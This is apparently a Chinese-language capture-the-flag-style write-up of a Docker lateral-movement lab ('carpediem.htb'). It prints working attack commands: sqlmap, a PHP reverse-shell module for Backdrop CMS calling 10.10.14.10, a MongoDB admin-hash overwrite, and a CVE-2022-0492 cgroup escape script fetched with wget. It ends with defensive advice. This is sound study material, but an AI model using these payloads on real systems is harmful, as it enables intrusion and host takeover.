记一次docker虚拟机横向移动渗透测试
字数 1569 2025-08-12 11:34:18

Docker虚拟机横向移动渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

  • 端口扫描:使用工具如nmap对目标IP(172.17.0.6)进行端口扫描
  • 目录探测:使用工具如dirsearch/gobuster进行目录扫描
  • 子域名探测:使用工具如subfinder/amass进行子域名发现
  • 漏洞扫描:使用xray进行自动化漏洞扫描
    ./xray_linux_amd64 webscan --basic-crawler http://portal.carpediem.htb/ --html-output vuln.html
    

1.2 发现漏洞

  • SQL注入:在?p=view_bike&id=参数发现注入点
  • XSS漏洞:通过扫描发现跨站脚本漏洞

2. 漏洞利用阶段

2.1 SQL注入利用

sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c4ca4238a0b923820dcc509a6f75849b" -dbs --batch
  • 成功获取数据库信息但无法直接利用

2.2 垂直越权攻击

  1. 注册普通用户
  2. 拦截修改个人资料的请求
  3. 修改login_type参数从2改为1
  4. 成功获取管理员权限

2.3 文件上传绕过

  1. 尝试上传PHP webshell
  2. 修改文件属性绕过限制
  3. 使用哥斯拉连接webshell
  4. 确认处于Docker容器环境

3. 横向移动阶段

3.1 反弹Shell

  • 建立反向连接便于操作

3.2 网络探测

  1. 检查/etc/hosts发现其他容器IP
  2. 使用fscan进行快速扫描
    • 发现匿名FTP(无果)
    • 发现MySQL服务

3.3 代理建立

# 本地
./chisel server --reverse -p 6969

# 目标
./chisel client 10.10.14.56:6969 R:socks

3.4 资产梳理

发现以下容器:

  • 172.17.0.1: 22,80
  • 172.17.0.2: 21,80,443 (BACKDROP CMS和FTP)
  • 172.17.0.3: 27017 (MongoDB)
  • 172.17.0.4: 3306,33060 (MySQL)
  • 172.17.0.5: 8118 (Trudesk v1.1.11)

3.5 MongoDB利用

  1. 找到配置文件
  2. 连接数据库:
    proxychains mongosh mongodb://127.0.0.1:27017
    
  3. 修改Trudesk管理员密码:
    use trudesk
    db.accounts.update(
      {"_id": ObjectId("623c8b20855cc5001a8ba13c")},
      {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}}
    );
    
    密码生成脚本:
    import bcrypt
    password = "password"
    salt = bcrypt.gensalt(rounds=10)
    encoded = bcrypt.hashpw(password.encode(),salt)
    print(encoded)
    

3.6 Zoiper利用

  1. 登录172.17.0.5的Trudesk
  2. 发现Zoiper通信程序信息
  3. 获取凭据hflaccus:xxxxxxxx
  4. 通过SSH连接

3.7 Wireshark解密

  1. 获取/etc/ssl/certs/backdrop.carpediem.htb.key
  2. 配置Wireshark TLS解密:
    • Edit → Preferences → Protocols → TLS
    • 添加(Pre)-Master-Secret log文件
  3. 解密获取Backdrop-CMS凭据

4. Backdrop-CMS利用

4.1 登录后台

  • 使用解密获取的凭据登录172.17.0.2:8002

4.2 恶意模块上传

  1. 创建恶意模块:
    tar -xf reference.tar
    echo '<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>' > reference/shell.php
    tar -cvf reference.tar reference &>/dev/null
    
  2. 通过"导入模块"功能上传tar文件
  3. 获取反向shell

5. Docker逃逸阶段

5.1 定时任务分析

  • 发现/opt/heartbeat.sh每10秒运行一次
  • 脚本内容:
    #!/bin/bash
    #Run a site availability check every 10 seconds via cron
    checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
    if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then exit; fi
    status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
    grep "Welcome to backdrop.carpediem.htb!" "$status"
    if [ $? -ne 0 ]; then
      #something went wrong. restoring from backup.
      cp /root/index.php /var/www/html/backdrop/index.php
    fi
    

5.2 CVE-2022-0492利用

  1. 创建逃逸脚本script.sh
    mkdir /dev/shm/privesc
    mount -t cgroup -o rdma cgroup /dev/shm/privesc
    mkdir /dev/shm/privesc/x
    echo 1 > /dev/shm/privesc/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
    echo "$host_path/cmd" > /dev/shm/privesc/release_agent
    echo '#!/bin/bash' > /cmd
    echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
    chmod a+x /cmd
    bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"
    
  2. 在容器内下载并执行:
    unshare -UrmC bash
    wget http://10.10.14.10/script.sh &>/dev/null
    chmod +x script.sh
    ./script.sh
    
  3. 成功获取宿主机shell

6. 关键知识点总结

  1. Docker环境识别:通过检查/.dockerenv文件或/proc/1/cgroup内容
  2. 容器间通信:利用/etc/hosts发现其他容器IP
  3. 密码重置技术:通过直接修改数据库密码哈希绕过认证
  4. TLS解密:利用服务器私钥解密加密流量
  5. 定时任务利用:通过覆盖被定期执行的脚本获取权限
  6. Docker逃逸技术:利用CVE-2022-0492通过cgroup release_agent特性逃逸

7. 防御建议

  1. 容器隔离:限制容器间的网络通信
  2. 最小权限原则:避免使用root用户运行容器
  3. 敏感文件保护:妥善保管SSL私钥等敏感文件
  4. 输入验证:对所有用户输入进行严格过滤
  5. 定期更新:及时修补已知漏洞如CVE-2022-0492
  6. 监控机制:监控容器内异常文件修改和进程活动
Docker虚拟机横向移动渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 端口扫描 :使用工具如nmap对目标IP(172.17.0.6)进行端口扫描 目录探测 :使用工具如dirsearch/gobuster进行目录扫描 子域名探测 :使用工具如subfinder/amass进行子域名发现 漏洞扫描 :使用xray进行自动化漏洞扫描 1.2 发现漏洞 SQL注入 :在 ?p=view_bike&id= 参数发现注入点 XSS漏洞 :通过扫描发现跨站脚本漏洞 2. 漏洞利用阶段 2.1 SQL注入利用 成功获取数据库信息但无法直接利用 2.2 垂直越权攻击 注册普通用户 拦截修改个人资料的请求 修改 login_type 参数从2改为1 成功获取管理员权限 2.3 文件上传绕过 尝试上传PHP webshell 修改文件属性绕过限制 使用哥斯拉连接webshell 确认处于Docker容器环境 3. 横向移动阶段 3.1 反弹Shell 建立反向连接便于操作 3.2 网络探测 检查 /etc/hosts 发现其他容器IP 使用fscan进行快速扫描 发现匿名FTP(无果) 发现MySQL服务 3.3 代理建立 3.4 资产梳理 发现以下容器: 172.17.0.1: 22,80 172.17.0.2: 21,80,443 (BACKDROP CMS和FTP) 172.17.0.3: 27017 (MongoDB) 172.17.0.4: 3306,33060 (MySQL) 172.17.0.5: 8118 (Trudesk v1.1.11) 3.5 MongoDB利用 找到配置文件 连接数据库: 修改Trudesk管理员密码: 密码生成脚本: 3.6 Zoiper利用 登录172.17.0.5的Trudesk 发现Zoiper通信程序信息 获取凭据hflaccus:xxxxxxxx 通过SSH连接 3.7 Wireshark解密 获取 /etc/ssl/certs/backdrop.carpediem.htb.key 配置Wireshark TLS解密: Edit → Preferences → Protocols → TLS 添加(Pre)-Master-Secret log文件 解密获取Backdrop-CMS凭据 4. Backdrop-CMS利用 4.1 登录后台 使用解密获取的凭据登录172.17.0.2:8002 4.2 恶意模块上传 创建恶意模块: 通过"导入模块"功能上传tar文件 获取反向shell 5. Docker逃逸阶段 5.1 定时任务分析 发现 /opt/heartbeat.sh 每10秒运行一次 脚本内容: 5.2 CVE-2022-0492利用 创建逃逸脚本 script.sh : 在容器内下载并执行: 成功获取宿主机shell 6. 关键知识点总结 Docker环境识别 :通过检查 /.dockerenv 文件或 /proc/1/cgroup 内容 容器间通信 :利用 /etc/hosts 发现其他容器IP 密码重置技术 :通过直接修改数据库密码哈希绕过认证 TLS解密 :利用服务器私钥解密加密流量 定时任务利用 :通过覆盖被定期执行的脚本获取权限 Docker逃逸技术 :利用CVE-2022-0492通过cgroup release_ agent特性逃逸 7. 防御建议 容器隔离 :限制容器间的网络通信 最小权限原则 :避免使用root用户运行容器 敏感文件保护 :妥善保管SSL私钥等敏感文件 输入验证 :对所有用户输入进行严格过滤 定期更新 :及时修补已知漏洞如CVE-2022-0492 监控机制 :监控容器内异常文件修改和进程活动